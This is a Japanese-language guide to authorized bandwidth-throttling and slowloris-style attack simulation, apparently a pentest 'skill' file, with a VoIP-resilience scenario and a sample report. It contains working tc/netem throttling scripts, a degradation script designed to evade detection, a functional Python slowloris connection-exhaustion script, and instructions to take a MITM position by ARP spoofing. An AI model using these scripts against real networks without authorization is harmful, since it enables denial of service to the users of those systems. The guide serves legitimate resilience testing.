performing-bandwidth-throttling-attack-simulation

帯域幅スロットリング攻撃シミュレーションの実施

使用場面

• 許可された セキュリティ評価 中に、ネットワーク品質の低下に対するアプリケーションの耐性をテストする
• ネットワーク上の不正なトラフィックシェーピングを、QoS ポリシーが検出・軽減できるかを検証する
• 完全な停止ではなく帯域幅を低下させる、ネットワーク slowloris 型の攻撃をシミュレーションする
• 帯域幅ベースの攻撃が VoIP、ビデオ会議、リアルタイムアプリケーションに与える影響を評価する
• 異常な帯域幅利用パターンを検出する、ネットワーク監視ツールの能力をテストする

使用しないでください: 承認とメンテナンスウィンドウなしで本番ネットワーク上で実行すること、サービス拒否状態を引き起こすこと、安全管理策なしで重要インフラに対して実行することには使用しないでください。

前提条件

• 帯域幅操作テストに対する書面による承認
• tc（トラフィックコントロール）、netem、iptables を備えた Linux システム
• 帯域幅測定のため、テスター側とターゲット側の両方のシステムにインストールされた iperf3
• トラフィック傍受シナリオのための MITM ポジション（ARP スプーフィング）の確立
• シミュレーションを検出するためにデプロイされたネットワーク監視ツール
• テスト前のベースライン帯域幅測定

法的通知: 本スキルは、許可されたセキュリティテストおよび教育目的のみを対象としています。所有していない、またはテストする書面による許可を得ていないシステムに対する不正な使用は違法であり、コンピュータ犯罪法に違反する可能性があります。

ワークフロー

ステップ 1: ベースライン帯域幅測定の確立

# Start iperf3 server on the target
iperf3 -s -p 5201

# Measure baseline bandwidth from the tester
iperf3 -c 10.10.20.10 -t 30 -P 4 -p 5201
# Record: bandwidth, jitter, packet loss

# Measure baseline latency
ping -c 100 10.10.20.10 | tail -1
# Record: min/avg/max/mdev

# Measure baseline jitter with UDP test
iperf3 -c 10.10.20.10 -u -b 100M -t 10 -p 5201
# Record: jitter and packet loss percentage

# Document baseline values
echo "Baseline: BW=$(iperf3 -c 10.10.20.10 -t 10 -f m | tail -1 | awk '{print $7}') Mbps" > baseline.txt
echo "Latency: $(ping -c 50 10.10.20.10 | tail -1)" >> baseline.txt

ステップ 2: tc/netem による帯域幅スロットリングのシミュレーション

# Add traffic control to limit bandwidth on the attacker's forwarding interface
# This simulates throttling traffic flowing through a compromised router

# Limit to 1 Mbps (severe throttling)
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 50ms

# Or use hierarchical token bucket for more control
sudo tc qdisc add dev eth0 root handle 1: htb default 10
sudo tc class add dev eth0 parent 1: classid 1:10 htb rate 1mbit ceil 2mbit

# Add latency and packet loss to simulate degraded link
sudo tc qdisc add dev eth0 parent 1:10 handle 10: netem delay 200ms 50ms loss 5%

# Target specific traffic (only throttle traffic to specific host)
sudo tc qdisc add dev eth0 root handle 1: htb default 99
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 1000mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc class add dev eth0 parent 1:1 classid 1:99 htb rate 1000mbit

# Filter: throttle only traffic to 10.10.20.10
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 \
  match ip dst 10.10.20.10/32 flowid 1:10

# Verify the qdisc configuration
tc -s qdisc show dev eth0
tc -s class show dev eth0

ステップ 3: 段階的な劣化のシミュレーション

#!/bin/bash
# Simulate progressive bandwidth degradation over time
# This mimics an attacker slowly throttling to avoid detection

IFACE="eth0"
TARGET="10.10.20.10"

# Phase 1: Baseline (no throttling) - 5 minutes
echo "[*] Phase 1: Baseline (no throttling)"
sleep 300

# Phase 2: Mild throttling (50% reduction)
echo "[*] Phase 2: Reducing to 50 Mbps"
sudo tc qdisc add dev $IFACE root tbf rate 50mbit burst 64kbit latency 50ms
sleep 300

# Phase 3: Moderate throttling (80% reduction)
echo "[*] Phase 3: Reducing to 10 Mbps"
sudo tc qdisc change dev $IFACE root tbf rate 10mbit burst 32kbit latency 50ms
sleep 300

# Phase 4: Severe throttling + latency + loss
echo "[*] Phase 4: Reducing to 1 Mbps + 200ms latency + 5% loss"
sudo tc qdisc del dev $IFACE root 2>/dev/null
sudo tc qdisc add dev $IFACE root handle 1: htb default 10
sudo tc class add dev $IFACE parent 1: classid 1:10 htb rate 1mbit ceil 2mbit
sudo tc qdisc add dev $IFACE parent 1:10 handle 10: netem delay 200ms 50ms loss 5%
sleep 300

# Phase 5: Recovery
echo "[*] Phase 5: Removing all throttling"
sudo tc qdisc del dev $IFACE root 2>/dev/null
echo "[*] Simulation complete"

ステップ 4: slowloris 型の接続枯渇のシミュレーション

#!/usr/bin/env python3
"""Slowloris-style connection simulation for authorized bandwidth testing."""

import socket
import time
import threading

TARGET = "10.10.20.10"
PORT = 80
NUM_CONNECTIONS = 200

sockets = []

def create_slow_connection():
    """Create a connection that sends data very slowly."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((TARGET, PORT))
        s.send(b"GET / HTTP/1.1\r\n")
        s.send(f"Host: {TARGET}\r\n".encode())
        sockets.append(s)
        return s
    except Exception:
        return None

def keep_alive():
    """Send partial headers to keep connections open."""
    while True:
        for s in list(sockets):
            try:
                s.send(b"X-Padding: " + b"A" * 10 + b"\r\n")
            except Exception:
                sockets.remove(s)
        time.sleep(15)

print(f"[*] Opening {NUM_CONNECTIONS} slow connections to {TARGET}:{PORT}")
for i in range(NUM_CONNECTIONS):
    s = create_slow_connection()
    if s:
        if (i + 1) % 50 == 0:
            print(f"[*] {i + 1} connections established")
    time.sleep(0.1)

print(f"[*] {len(sockets)} connections open. Sending keep-alive headers...")
print("[*] Press Ctrl+C to stop")

try:
    keep_alive()
except KeyboardInterrupt:
    print(f"\n[*] Closing {len(sockets)} connections")
    for s in sockets:
        try:
            s.close()
        except Exception:
            pass
    print("[*] Cleanup complete")

ステップ 5: 影響の測定と異常の検出

# Re-measure bandwidth during throttling
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201
# Compare with baseline values

# Measure latency degradation
ping -c 50 10.10.20.10

# Check network monitoring for detection
# Verify that monitoring tools detected the bandwidth change

# Check SNMP-based monitoring (Cacti, LibreNMS, Zabbix)
# Interface utilization should show abnormal patterns

# Check Zeek logs for connection anomalies
cat /opt/zeek/logs/current/conn.log | \
  zeek-cut ts id.orig_h id.resp_h duration orig_bytes resp_bytes | \
  awk '$4 > 0 && ($5/$4 < 1000 || $6/$4 < 1000)' | head -20
# Low bytes/second ratio indicates throttling

# Check for QoS alerts in network management tools
# NetFlow analysis: look for changes in traffic patterns
# nfdump -r /var/cache/nfdump/nfcapd.* -s srcip/bytes -n 20

ステップ 6: クリーンアップと文書化

# Remove all traffic control rules
sudo tc qdisc del dev eth0 root 2>/dev/null

# Verify cleanup
tc qdisc show dev eth0
# Should show: qdisc noqueue or default qdisc only

# Stop ARP spoofing if used
sudo killall arpspoof bettercap 2>/dev/null
sudo sysctl -w net.ipv4.ip_forward=0

# Final bandwidth measurement to confirm restoration
iperf3 -c 10.10.20.10 -t 10 -f m -p 5201

主要な概念

用語	定義
トラフィックシェーピング	キューイングディシプリンを用いて帯域幅の割り当てを制御するために、ネットワークトラフィックのフロー速度を意図的に操作すること
tc（トラフィックコントロール）	キューイングディシプリン（qdisc）を用いてパケットのスケジューリング、シェーピング、ポリシング、ドロップを設定するための Linux カーネルのサブシステム
netem（ネットワークエミュレーター）	遅延、ジッター、パケットロス、破損、並べ替えなど、ネットワーク状態をシミュレートする Linux の tc qdisc
トークンバケットフィルター（TBF）	トークンが利用可能なときにのみパケットを通過させることでトラフィックレートを制限し、最大帯域幅レートを強制する tc qdisc
Slowloris	多数の接続を開き、データを非常にゆっくり送信することでサーバーの接続プールを枯渇させる、アプリケーション層の攻撃
QoS（サービス品質）	特定のトラフィック種別（VoIP、ビデオ）を優先し、最低帯域幅を保証するためのネットワーク機構

ツールとシステム

• tc/netem: 帯域幅制限とネットワーク劣化をシミュレートするための Linux カーネルのトラフィックコントロールおよびネットワークエミュレーションフレームワーク
• iperf3: ベースラインの確立とスロットリングの影響測定のためのネットワーク帯域幅測定ツール
• Bettercap: トラフィックを傍受・スロットリングするための MITM ポジションを確立するために使用されるネットワーク攻撃フレームワーク
• Scapy: カスタムのトラフィックパターンおよび接続枯渇シミュレーションを作成するための Python パケット操作ライブラリ
• NetFlow/sFlow: 異常な帯域幅利用パターンを検出するためのネットワークフロー監視プロトコル

一般的なシナリオ

シナリオ: 帯域幅の低下に対する VoIP システムの耐性テスト

背景: ある企業は、ビジネスコミュニケーションに SIP ベースの VoIP を利用しています。セキュリティチームは、さまざまなネットワーク攻撃の条件下で VoIP の品質がどのように低下するか、また通話がいつ利用不能になるかを評価する必要があります。このテストは、専用の VoIP テスト VLAN 上で許可を得て実施されます。

手順:

1. VoIP VLAN 上で iperf3 の UDP テストを用いて、ジッター（<30ms）とパケットロス（<1%）を測定し、ベースラインの通話品質を確立する
2. ARP スプーフィングを使用して、VoIP エンドポイントの間に MITM の位置を設定する
3. netem を使用して遅延を段階的に（50ms、100ms、200ms、500ms）導入し、各レベルで MOS（Mean Opinion Score、平均オピニオン評点）を測定する
4. パケットロス（1%、3%、5%、10%）を導入し、通話品質の低下を測定する
5. 1 Mbps から 100 Kbps まで帯域幅を絞り、G.711 コーデック（87.2 Kbps が必要）に必要な最小利用可能帯域幅を特定する
6. ネットワークの QoS ポリシーが VoIP トラフィックを優先していること、および共有リンクが絞り込みの影響を受けた際に品質が回復することを検証する
7. 品質低下のしきい値を文書化し、VoIP VLAN に対して推奨される最小 QoS 保証を提示する

注意点:

• テスト後に tc ルールを削除し忘れると、テストネットワーク上に帯域制限が残ってしまう
• 速度を低すぎる値でテストすると、測定可能な劣化ではなく通話の完全な失敗が発生してしまう
• コーデックの違いを考慮しないこと。G.711 は G.729 より多くの帯域幅を必要とする
• 共有 VLAN 上でテストを実行すると、テスト対象外のトラフィックに影響を与えてしまう

出力形式

## Bandwidth Throttling Simulation Report

**Test ID**: BW-THROTTLE-2024-001
**Target Network**: VLAN 60 (VoIP Test)
**Test Duration**: 2024-03-15 14:00-16:00 UTC

### Baseline Measurements
| Metric | Value |
|--------|-------|
| Bandwidth (TCP) | 947 Mbps |
| Bandwidth (UDP) | 912 Mbps |
| Latency (avg) | 0.8 ms |
| Jitter | 0.2 ms |
| Packet Loss | 0.00% |

### Degradation Impact Matrix

| Condition | Bandwidth | Latency | Jitter | Loss | VoIP MOS |
|-----------|-----------|---------|--------|------|----------|
| Baseline | 947 Mbps | 0.8 ms | 0.2 ms | 0% | 4.4 |
| 50ms latency | 947 Mbps | 51 ms | 5 ms | 0% | 4.0 |
| 200ms latency | 947 Mbps | 201 ms | 25 ms | 0% | 3.2 |
| 5% loss | 947 Mbps | 0.8 ms | 0.2 ms | 5% | 2.8 |
| 1 Mbps cap | 1 Mbps | 45 ms | 12 ms | 2% | 3.0 |
| 100 Kbps cap | 100 Kbps | 380 ms | 95 ms | 15% | 1.2 |

### QoS Validation
- QoS detected throttling at 10 Mbps threshold: YES
- VoIP traffic prioritized during throttling: YES (maintained 3.8 MOS)
- Alert generated by monitoring: YES (bandwidth anomaly at 14:15 UTC)

### Recommendations
1. Ensure minimum 200 Kbps guaranteed bandwidth per VoIP call
2. Configure QoS to prioritize DSCP EF (46) marked traffic
3. Set monitoring threshold at 80% bandwidth utilization for early warning